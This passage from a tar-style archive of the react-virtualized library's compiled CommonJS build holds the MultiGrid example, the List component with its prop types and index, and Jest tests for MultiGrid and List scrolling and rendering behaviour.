      expect(Object.keys(deferredMeasurementCache._rowIndices)).toEqual(['0', '1', '2']);
    });
    it('should not wrap bottom-left and bottom-right deferredMeasurementCache if fixedRowCount is 0', function () {
      var deferredMeasurementCache = getDeferredMeasurementCache();
      (0, _TestUtils.render)(getMarkup({
        deferredMeasurementCache: deferredMeasurementCache,
        columnCount: 1,
        fixedColumnCount: 0,
        fixedRowCount: 0,
        rowCount: 2
      }));
      expect(Object.keys(deferredMeasurementCache._rowIndices)).toEqual(['0', '1']);
    });
  });
  describe('onScrollbarPresenceChange', function () {
    function getScrollbarSize20() {
      return 20;
    }

    it('should not trigger on-mount if scrollbars are hidden', function () {
      var onScrollbarPresenceChange = jest.fn();
      (0, _TestUtils.render)(getMarkup({
        columnCount: 1,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 1
      }));
      expect(onScrollbarPresenceChange).not.toHaveBeenCalled();
    });
    it('should trigger on-mount if scrollbars are visible', function () {
      var onScrollbarPresenceChange = jest.fn();
      (0, _TestUtils.render)(getMarkup({
        columnCount: 100,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 100
      }));
      expect(onScrollbarPresenceChange).toHaveBeenCalled();
      var args = onScrollbarPresenceChange.mock.calls[0][0];
      expect(args.horizontal).toBe(true);
      expect(args.size).toBe(getScrollbarSize20());
      expect(args.vertical).toBe(true);
    });
    it('should trigger on-update if scrollbar visibility has changed', function () {
      var onScrollbarPresenceChange = jest.fn();
      (0, _TestUtils.render)(getMarkup({
        columnCount: 1,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 1
      }));
      expect(onScrollbarPresenceChange).not.toHaveBeenCalled();
      (0, _TestUtils.render)(getMarkup({
        columnCount: 100,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 100
      }));
      expect(onScrollbarPresenceChange).toHaveBeenCalled();
      var args = onScrollbarPresenceChange.mock.calls[0][0];
      expect(args.horizontal).toBe(true);
      expect(args.size).toBe(getScrollbarSize20());
      expect(args.vertical).toBe(true);
    });
    it('should not trigger on-update if scrollbar visibility does not change', function () {
      var onScrollbarPresenceChange = jest.fn();
      (0, _TestUtils.render)(getMarkup({
        columnCount: 1,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 1
      }));
      expect(onScrollbarPresenceChange).not.toHaveBeenCalled();
      (0, _TestUtils.render)(getMarkup({
        columnCount: 2,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 2
      }));
      expect(onScrollbarPresenceChange).not.toHaveBeenCalled();
    });
  });
});commonjs/MultiGrid/MultiGrid.example.js000064400000013525151677406000014175 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _immutable = _interopRequireDefault(require("immutable"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _ContentBox = require("../demo/ContentBox");

var _LabeledInput = require("../demo/LabeledInput");

var _AutoSizer = _interopRequireDefault(require("../AutoSizer"));

var _MultiGrid = _interopRequireDefault(require("./MultiGrid"));

var _MultiGridExample = _interopRequireDefault(require("./MultiGrid.example.css"));

var STYLE = {
  border: '1px solid #ddd'
};
var STYLE_BOTTOM_LEFT_GRID = {
  borderRight: '2px solid #aaa',
  backgroundColor: '#f7f7f7'
};
var STYLE_TOP_LEFT_GRID = {
  borderBottom: '2px solid #aaa',
  borderRight: '2px solid #aaa',
  fontWeight: 'bold'
};
var STYLE_TOP_RIGHT_GRID = {
  borderBottom: '2px solid #aaa',
  fontWeight: 'bold'
};

var MultiGridExample =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(MultiGridExample, _React$PureComponent);

  function MultiGridExample(props, context) {
    var _this;

    (0, _classCallCheck2["default"])(this, MultiGridExample);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(MultiGridExample).call(this, props, context));
    _this.state = {
      fixedColumnCount: 2,
      fixedRowCount: 1,
      scrollToColumn: 0,
      scrollToRow: 0
    };
    _this._cellRenderer = _this._cellRenderer.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onFixedColumnCountChange = _this._createEventHandler('fixedColumnCount');
    _this._onFixedRowCountChange = _this._createEventHandler('fixedRowCount');
    _this._onScrollToColumnChange = _this._createEventHandler('scrollToColumn');
    _this._onScrollToRowChange = _this._createEventHandler('scrollToRow');
    return _this;
  }

  (0, _createClass2["default"])(MultiGridExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      return React.createElement(_ContentBox.ContentBox, null, React.createElement(_ContentBox.ContentBoxHeader, {
        text: "MultiGrid",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/MultiGrid/MultiGrid.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/MultiGrid.md"
      }), React.createElement(_ContentBox.ContentBoxParagraph, null, "This component stitches together several grids to provide a fixed column/row interface."), React.createElement(_LabeledInput.InputRow, null, this._createLabeledInput('fixedColumnCount', this._onFixedColumnCountChange), this._createLabeledInput('fixedRowCount', this._onFixedRowCountChange), this._createLabeledInput('scrollToColumn', this._onScrollToColumnChange), this._createLabeledInput('scrollToRow', this._onScrollToRowChange)), React.createElement(_AutoSizer["default"], {
        disableHeight: true
      }, function (_ref) {
        var width = _ref.width;
        return React.createElement(_MultiGrid["default"], (0, _extends2["default"])({}, _this2.state, {
          cellRenderer: _this2._cellRenderer,
          columnWidth: 75,
          columnCount: 50,
          enableFixedColumnScroll: true,
          enableFixedRowScroll: true,
          height: 300,
          rowHeight: 40,
          rowCount: 100,
          style: STYLE,
          styleBottomLeftGrid: STYLE_BOTTOM_LEFT_GRID,
          styleTopLeftGrid: STYLE_TOP_LEFT_GRID,
          styleTopRightGrid: STYLE_TOP_RIGHT_GRID,
          width: width,
          hideTopRightGridScrollbar: true,
          hideBottomLeftGridScrollbar: true
        }));
      }));
    }
  }, {
    key: "_cellRenderer",
    value: function _cellRenderer(_ref2) {
      var columnIndex = _ref2.columnIndex,
          key = _ref2.key,
          rowIndex = _ref2.rowIndex,
          style = _ref2.style;
      return React.createElement("div", {
        className: _MultiGridExample["default"].Cell,
        key: key,
        style: style
      }, columnIndex, ", ", rowIndex);
    }
  }, {
    key: "_createEventHandler",
    value: function _createEventHandler(property) {
      var _this3 = this;

      return function (event) {
        var value = parseInt(event.target.value, 10) || 0;

        _this3.setState((0, _defineProperty2["default"])({}, property, value));
      };
    }
  }, {
    key: "_createLabeledInput",
    value: function _createLabeledInput(property, eventHandler) {
      var value = this.state[property];
      return React.createElement(_LabeledInput.LabeledInput, {
        label: property,
        name: property,
        onChange: eventHandler,
        value: value
      });
    }
  }]);
  return MultiGridExample;
}(React.PureComponent);

exports["default"] = MultiGridExample;
(0, _defineProperty2["default"])(MultiGridExample, "contextTypes", {
  list: _propTypes["default"].instanceOf(_immutable["default"].List).isRequired
});commonjs/List/List.js000064400000031015151677406000010563 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf3 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _Grid = _interopRequireWildcard(require("../Grid"));

var React = _interopRequireWildcard(require("react"));

var _clsx = _interopRequireDefault(require("clsx"));

var _types = require("./types");

var _propTypes = _interopRequireDefault(require("prop-types"));

var _class, _temp;

var List = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(List, _React$PureComponent);

  function List() {
    var _getPrototypeOf2;

    var _this;

    (0, _classCallCheck2["default"])(this, List);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = (0, _possibleConstructorReturn2["default"])(this, (_getPrototypeOf2 = (0, _getPrototypeOf3["default"])(List)).call.apply(_getPrototypeOf2, [this].concat(args)));
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "Grid", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_cellRenderer", function (_ref) {
      var parent = _ref.parent,
          rowIndex = _ref.rowIndex,
          style = _ref.style,
          isScrolling = _ref.isScrolling,
          isVisible = _ref.isVisible,
          key = _ref.key;
      var rowRenderer = _this.props.rowRenderer; // TRICKY The style object is sometimes cached by Grid.
      // This prevents new style objects from bypassing shallowCompare().
      // However as of React 16, style props are auto-frozen (at least in dev mode)
      // Check to make sure we can still modify the style before proceeding.
      // https://github.com/facebook/react/commit/977357765b44af8ff0cfea327866861073095c12#commitcomment-20648713

      var widthDescriptor = Object.getOwnPropertyDescriptor(style, 'width');

      if (widthDescriptor && widthDescriptor.writable) {
        // By default, List cells should be 100% width.
        // This prevents them from flowing under a scrollbar (if present).
        style.width = '100%';
      }

      return rowRenderer({
        index: rowIndex,
        style: style,
        isScrolling: isScrolling,
        isVisible: isVisible,
        key: key,
        parent: parent
      });
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_setRef", function (ref) {
      _this.Grid = ref;
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onScroll", function (_ref2) {
      var clientHeight = _ref2.clientHeight,
          scrollHeight = _ref2.scrollHeight,
          scrollTop = _ref2.scrollTop;
      var onScroll = _this.props.onScroll;
      onScroll({
        clientHeight: clientHeight,
        scrollHeight: scrollHeight,
        scrollTop: scrollTop
      });
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onSectionRendered", function (_ref3) {
      var rowOverscanStartIndex = _ref3.rowOverscanStartIndex,
          rowOverscanStopIndex = _ref3.rowOverscanStopIndex,
          rowStartIndex = _ref3.rowStartIndex,
          rowStopIndex = _ref3.rowStopIndex;
      var onRowsRendered = _this.props.onRowsRendered;
      onRowsRendered({
        overscanStartIndex: rowOverscanStartIndex,
        overscanStopIndex: rowOverscanStopIndex,
        startIndex: rowStartIndex,
        stopIndex: rowStopIndex
      });
    });
    return _this;
  }

  (0, _createClass2["default"])(List, [{
    key: "forceUpdateGrid",
    value: function forceUpdateGrid() {
      if (this.Grid) {
        this.Grid.forceUpdate();
      }
    }
    /** See Grid#getOffsetForCell */

  }, {
    key: "getOffsetForRow",
    value: function getOffsetForRow(_ref4) {
      var alignment = _ref4.alignment,
          index = _ref4.index;

      if (this.Grid) {
        var _this$Grid$getOffsetF = this.Grid.getOffsetForCell({
          alignment: alignment,
          rowIndex: index,
          columnIndex: 0
        }),
            scrollTop = _this$Grid$getOffsetF.scrollTop;

        return scrollTop;
      }

      return 0;
    }
    /** CellMeasurer compatibility */

  }, {
    key: "invalidateCellSizeAfterRender",
    value: function invalidateCellSizeAfterRender(_ref5) {
      var columnIndex = _ref5.columnIndex,
          rowIndex = _ref5.rowIndex;

      if (this.Grid) {
        this.Grid.invalidateCellSizeAfterRender({
          rowIndex: rowIndex,
          columnIndex: columnIndex
        });
      }
    }
    /** See Grid#measureAllCells */

  }, {
    key: "measureAllRows",
    value: function measureAllRows() {
      if (this.Grid) {
        this.Grid.measureAllCells();
      }
    }
    /** CellMeasurer compatibility */

  }, {
    key: "recomputeGridSize",
    value: function recomputeGridSize() {
      var _ref6 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
          _ref6$columnIndex = _ref6.columnIndex,
          columnIndex = _ref6$columnIndex === void 0 ? 0 : _ref6$columnIndex,
          _ref6$rowIndex = _ref6.rowIndex,
          rowIndex = _ref6$rowIndex === void 0 ? 0 : _ref6$rowIndex;

      if (this.Grid) {
        this.Grid.recomputeGridSize({
          rowIndex: rowIndex,
          columnIndex: columnIndex
        });
      }
    }
    /** See Grid#recomputeGridSize */

  }, {
    key: "recomputeRowHeights",
    value: function recomputeRowHeights() {
      var index = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;

      if (this.Grid) {
        this.Grid.recomputeGridSize({
          rowIndex: index,
          columnIndex: 0
        });
      }
    }
    /** See Grid#scrollToPosition */

  }, {
    key: "scrollToPosition",
    value: function scrollToPosition() {
      var scrollTop = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;

      if (this.Grid) {
        this.Grid.scrollToPosition({
          scrollTop: scrollTop
        });
      }
    }
    /** See Grid#scrollToCell */

  }, {
    key: "scrollToRow",
    value: function scrollToRow() {
      var index = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;

      if (this.Grid) {
        this.Grid.scrollToCell({
          columnIndex: 0,
          rowIndex: index
        });
      }
    }
  }, {
    key: "render",
    value: function render() {
      var _this$props = this.props,
          className = _this$props.className,
          noRowsRenderer = _this$props.noRowsRenderer,
          scrollToIndex = _this$props.scrollToIndex,
          width = _this$props.width;
      var classNames = (0, _clsx["default"])('ReactVirtualized__List', className);
      return React.createElement(_Grid["default"], (0, _extends2["default"])({}, this.props, {
        autoContainerWidth: true,
        cellRenderer: this._cellRenderer,
        className: classNames,
        columnWidth: width,
        columnCount: 1,
        noContentRenderer: noRowsRenderer,
        onScroll: this._onScroll,
        onSectionRendered: this._onSectionRendered,
        ref: this._setRef,
        scrollToRow: scrollToIndex
      }));
    }
  }]);
  return List;
}(React.PureComponent), (0, _defineProperty2["default"])(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {
  "aria-label": _propTypes["default"].string,

  /**
   * Removes fixed height from the scrollingContainer so that the total height
   * of rows can stretch the window. Intended for use with WindowScroller
   */
  "autoHeight": _propTypes["default"].bool.isRequired,

  /** Optional CSS class name */
  "className": _propTypes["default"].string,

  /**
   * Used to estimate the total height of a List before all of its rows have actually been measured.
   * The estimated total height is adjusted as rows are rendered.
   */
  "estimatedRowSize": _propTypes["default"].number.isRequired,

  /** Height constraint for list (determines how many actual rows are rendered) */
  "height": _propTypes["default"].number.isRequired,

  /** Optional renderer to be used in place of rows when rowCount is 0 */
  "noRowsRenderer": function noRowsRenderer() {
    return (typeof _Grid.bpfrpt_proptype_NoContentRenderer === "function" ? _Grid.bpfrpt_proptype_NoContentRenderer.isRequired ? _Grid.bpfrpt_proptype_NoContentRenderer.isRequired : _Grid.bpfrpt_proptype_NoContentRenderer : _propTypes["default"].shape(_Grid.bpfrpt_proptype_NoContentRenderer).isRequired).apply(this, arguments);
  },

  /** Callback invoked with information about the slice of rows that were just rendered.  */
  "onRowsRendered": _propTypes["default"].func.isRequired,

  /**
   * Callback invoked whenever the scroll offset changes within the inner scrollable region.
   * This callback can be used to sync scrolling between lists, tables, or grids.
   */
  "onScroll": _propTypes["default"].func.isRequired,

  /** See Grid#overscanIndicesGetter */
  "overscanIndicesGetter": function overscanIndicesGetter() {
    return (typeof _Grid.bpfrpt_proptype_OverscanIndicesGetter === "function" ? _Grid.bpfrpt_proptype_OverscanIndicesGetter.isRequired ? _Grid.bpfrpt_proptype_OverscanIndicesGetter.isRequired : _Grid.bpfrpt_proptype_OverscanIndicesGetter : _propTypes["default"].shape(_Grid.bpfrpt_proptype_OverscanIndicesGetter).isRequired).apply(this, arguments);
  },

  /**
   * Number of rows to render above/below the visible bounds of the list.
   * These rows can help for smoother scrolling on touch devices.
   */
  "overscanRowCount": _propTypes["default"].number.isRequired,

  /** Either a fixed row height (number) or a function that returns the height of a row given its index.  */
  "rowHeight": function rowHeight() {
    return (typeof _Grid.bpfrpt_proptype_CellSize === "function" ? _Grid.bpfrpt_proptype_CellSize.isRequired ? _Grid.bpfrpt_proptype_CellSize.isRequired : _Grid.bpfrpt_proptype_CellSize : _propTypes["default"].shape(_Grid.bpfrpt_proptype_CellSize).isRequired).apply(this, arguments);
  },

  /** Responsible for rendering a row given an index; ({ index: number }): node */
  "rowRenderer": function rowRenderer() {
    return (typeof _types.bpfrpt_proptype_RowRenderer === "function" ? _types.bpfrpt_proptype_RowRenderer.isRequired ? _types.bpfrpt_proptype_RowRenderer.isRequired : _types.bpfrpt_proptype_RowRenderer : _propTypes["default"].shape(_types.bpfrpt_proptype_RowRenderer).isRequired).apply(this, arguments);
  },

  /** Number of rows in list. */
  "rowCount": _propTypes["default"].number.isRequired,

  /** See Grid#scrollToAlignment */
  "scrollToAlignment": function scrollToAlignment() {
    return (typeof _Grid.bpfrpt_proptype_Alignment === "function" ? _Grid.bpfrpt_proptype_Alignment.isRequired ? _Grid.bpfrpt_proptype_Alignment.isRequired : _Grid.bpfrpt_proptype_Alignment : _propTypes["default"].shape(_Grid.bpfrpt_proptype_Alignment).isRequired).apply(this, arguments);
  },

  /** Row index to ensure visible (by forcefully scrolling if necessary) */
  "scrollToIndex": _propTypes["default"].number.isRequired,

  /** Vertical offset. */
  "scrollTop": _propTypes["default"].number,

  /** Optional inline style */
  "style": _propTypes["default"].object.isRequired,

  /** Tab index for focus */
  "tabIndex": _propTypes["default"].number,

  /** Width of list */
  "width": _propTypes["default"].number.isRequired
}), _temp);
exports["default"] = List;
(0, _defineProperty2["default"])(List, "defaultProps", {
  autoHeight: false,
  estimatedRowSize: 30,
  onScroll: function onScroll() {},
  noRowsRenderer: function noRowsRenderer() {
    return null;
  },
  onRowsRendered: function onRowsRendered() {},
  overscanIndicesGetter: _Grid.accessibilityOverscanIndicesGetter,
  overscanRowCount: 10,
  scrollToAlignment: 'auto',
  scrollToIndex: -1,
  style: {}
});commonjs/List/types.js000064400000003566151677406000011026 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.bpfrpt_proptype_Scroll = exports.bpfrpt_proptype_RenderedRows = exports.bpfrpt_proptype_RowRenderer = exports.bpfrpt_proptype_RowRendererParams = void 0;

var React = _interopRequireWildcard(require("react"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var bpfrpt_proptype_RowRendererParams = process.env.NODE_ENV === 'production' ? null : {
  "index": _propTypes["default"].number.isRequired,
  "isScrolling": _propTypes["default"].bool.isRequired,
  "isVisible": _propTypes["default"].bool.isRequired,
  "key": _propTypes["default"].string.isRequired,
  "parent": _propTypes["default"].object.isRequired,
  "style": _propTypes["default"].object.isRequired
};
exports.bpfrpt_proptype_RowRendererParams = bpfrpt_proptype_RowRendererParams;
var bpfrpt_proptype_RowRenderer = process.env.NODE_ENV === 'production' ? null : _propTypes["default"].func;
exports.bpfrpt_proptype_RowRenderer = bpfrpt_proptype_RowRenderer;
var bpfrpt_proptype_RenderedRows = process.env.NODE_ENV === 'production' ? null : {
  "overscanStartIndex": _propTypes["default"].number.isRequired,
  "overscanStopIndex": _propTypes["default"].number.isRequired,
  "startIndex": _propTypes["default"].number.isRequired,
  "stopIndex": _propTypes["default"].number.isRequired
};
exports.bpfrpt_proptype_RenderedRows = bpfrpt_proptype_RenderedRows;
var bpfrpt_proptype_Scroll = process.env.NODE_ENV === 'production' ? null : {
  "clientHeight": _propTypes["default"].number.isRequired,
  "scrollHeight": _propTypes["default"].number.isRequired,
  "scrollTop": _propTypes["default"].number.isRequired
};
exports.bpfrpt_proptype_Scroll = bpfrpt_proptype_Scroll;commonjs/List/index.js000064400000001246151677406000010762 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
Object.defineProperty(exports, "default", {
  enumerable: true,
  get: function get() {
    return _List["default"];
  }
});
Object.defineProperty(exports, "List", {
  enumerable: true,
  get: function get() {
    return _List["default"];
  }
});
Object.defineProperty(exports, "bpfrpt_proptype_RowRendererParams", {
  enumerable: true,
  get: function get() {
    return _types.bpfrpt_proptype_RowRendererParams;
  }
});

var _List = _interopRequireDefault(require("./List"));

var _types = require("./types");commonjs/List/List.jest.js000064400000047225151677406000011541 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));

var React = _interopRequireWildcard(require("react"));

var _reactDom = require("react-dom");

var _TestUtils = require("../TestUtils");

var _testUtils = require("react-dom/test-utils");

var _immutable = _interopRequireDefault(require("immutable"));

var _List = _interopRequireDefault(require("./List"));

var _Grid = require("../Grid");

describe('List', function () {
  var array = [];

  for (var i = 0; i < 100; i++) {
    array.push("Name ".concat(i));
  }

  var names = _immutable["default"].fromJS(array); // Override default behavior of overscanning by at least 1 (for accessibility)
  // Because it makes for simple tests below


  function overscanIndicesGetter(_ref) {
    var startIndex = _ref.startIndex,
        stopIndex = _ref.stopIndex;
    return {
      overscanStartIndex: startIndex,
      overscanStopIndex: stopIndex
    };
  }

  function getMarkup() {
    var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};

    function rowRenderer(_ref2) {
      var index = _ref2.index,
          key = _ref2.key,
          style = _ref2.style;
      return React.createElement("div", {
        className: "listItem",
        key: key,
        style: style
      }, names.get(index));
    }

    return React.createElement(_List["default"], (0, _extends2["default"])({
      height: 100,
      overscanIndicesGetter: overscanIndicesGetter,
      overscanRowCount: 0,
      rowHeight: 10,
      rowCount: names.size,
      rowRenderer: rowRenderer,
      width: 100
    }, props));
  }

  describe('number of rendered children', function () {
    it('should render enough children to fill the view', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      expect(rendered.querySelectorAll('.listItem').length).toEqual(10);
    });
    it('should not render more children than available if the list is not filled', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        rowCount: 5
      })));
      expect(rendered.querySelectorAll('.listItem').length).toEqual(5);
    });
  });
  describe('scrollToPosition', function () {
    it('should scroll to the top', function () {
      var instance = (0, _TestUtils.render)(getMarkup({
        rowHeight: 10
      }));
      instance.scrollToPosition(100);
      var rendered = (0, _reactDom.findDOMNode)(instance);
      expect(rendered.textContent).toContain('Name 10');
      expect(rendered.textContent).toContain('Name 19');
    });
  });
  /** Tests scrolling via initial props */

  describe('scrollToIndex', function () {
    it('should scroll to the top', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToIndex: 0
      })));
      expect(rendered.textContent).toContain('Name 0');
    });
    it('should scroll down to the middle', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToIndex: 49
      }))); // 100 items * 10 item height = 1,000 total item height
      // 10 items can be visible at a time and :scrollTop is initially 0,
      // So the minimum amount of scrolling leaves the 50th item at the bottom (just scrolled into view).

      expect(rendered.textContent).toContain('Name 49');
    });
    it('should scroll to the bottom', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToIndex: 99
      }))); // 100 height - 10 header = 90 available scroll space.
      // 100 items * 10 item height = 1,000 total item height
      // Target height for the last item then is 1000 - 90

      expect(rendered.textContent).toContain('Name 99');
    });
    it('should scroll to the correct position for :scrollToAlignment "start"', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToAlignment: 'start',
        scrollToIndex: 49
      }))); // 100 items * 10 item height = 1,000 total item height; 10 items can be visible at a time.

      expect(rendered.textContent).toContain('Name 49');
      expect(rendered.textContent).toContain('Name 58');
    });
    it('should scroll to the correct position for :scrollToAlignment "end"', function () {
      (0, _TestUtils.render)(getMarkup({
        scrollToIndex: 99
      }));
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToAlignment: 'end',
        scrollToIndex: 49
      }))); // 100 items * 10 item height = 1,000 total item height; 10 items can be visible at a time.

      expect(rendered.textContent).toContain('Name 40');
      expect(rendered.textContent).toContain('Name 49');
    });
    it('should scroll to the correct position for :scrollToAlignment "center"', function () {
      (0, _TestUtils.render)(getMarkup({
        scrollToIndex: 99
      }));
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToAlignment: 'center',
        scrollToIndex: 49
      }))); // 100 items * 10 item height = 1,000 total item height; 11 items can be visible at a time (the first and last item are only partially visible)

      expect(rendered.textContent).toContain('Name 44');
      expect(rendered.textContent).toContain('Name 54');
    });
  });
  describe('property updates', function () {
    it('should update :scrollToIndex position when :rowHeight changes', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToIndex: 50
      })));
      expect(rendered.textContent).toContain('Name 50'); // Making rows taller pushes name off/beyond the scrolled area

      rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToIndex: 50,
        rowHeight: 20
      })));
      expect(rendered.textContent).toContain('Name 50');
    });
    it('should update :scrollToIndex position when :height changes', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToIndex: 50
      })));
      expect(rendered.textContent).toContain('Name 50'); // Making the list shorter leaves only room for 1 item

      rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToIndex: 50,
        height: 20
      })));
      expect(rendered.textContent).toContain('Name 50');
    });
    it('should update :scrollToIndex position when :scrollToIndex changes', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      expect(rendered.textContent).not.toContain('Name 50');
      rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToIndex: 50
      })));
      expect(rendered.textContent).toContain('Name 50');
    });
    it('should update scroll position if size shrinks smaller than the current scroll', function () {
      (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToIndex: 500
      })));
      (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        scrollToIndex: 500,
        rowCount: 10
      })));
      expect(rendered.textContent).toContain('Name 9');
    });
  });
  describe('noRowsRenderer', function () {
    it('should call :noRowsRenderer if :rowCount is 0', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        noRowsRenderer: function noRowsRenderer() {
          return React.createElement("div", null, "No rows!");
        },
        rowCount: 0
      })));
      expect(rendered.textContent).toEqual('No rows!');
    });
    it('should render an empty body if :rowCount is 0 and there is no :noRowsRenderer', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        rowCount: 0
      })));
      expect(rendered.textContent).toEqual('');
    });
  });
  describe('onRowsRendered', function () {
    it('should call :onRowsRendered if at least one row is rendered', function () {
      var startIndex, stopIndex;
      (0, _TestUtils.render)(getMarkup({
        onRowsRendered: function onRowsRendered(params) {
          var _params;

          return _params = params, startIndex = _params.startIndex, stopIndex = _params.stopIndex, _params;
        }
      }));
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(9);
    });
    it('should not call :onRowsRendered unless the start or stop indices have changed', function () {
      var numCalls = 0;
      var startIndex;
      var stopIndex;

      var onRowsRendered = function onRowsRendered(params) {
        startIndex = params.startIndex;
        stopIndex = params.stopIndex;
        numCalls++;
      };

      (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        onRowsRendered: onRowsRendered
      })));
      expect(numCalls).toEqual(1);
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(9);
      (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        onRowsRendered: onRowsRendered
      })));
      expect(numCalls).toEqual(1);
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(9);
    });
    it('should call :onRowsRendered if the start or stop indices have changed', function () {
      var numCalls = 0;
      var startIndex;
      var stopIndex;

      var onRowsRendered = function onRowsRendered(params) {
        startIndex = params.startIndex;
        stopIndex = params.stopIndex;
        numCalls++;
      };

      (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        onRowsRendered: onRowsRendered
      })));
      expect(numCalls).toEqual(1);
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(9);
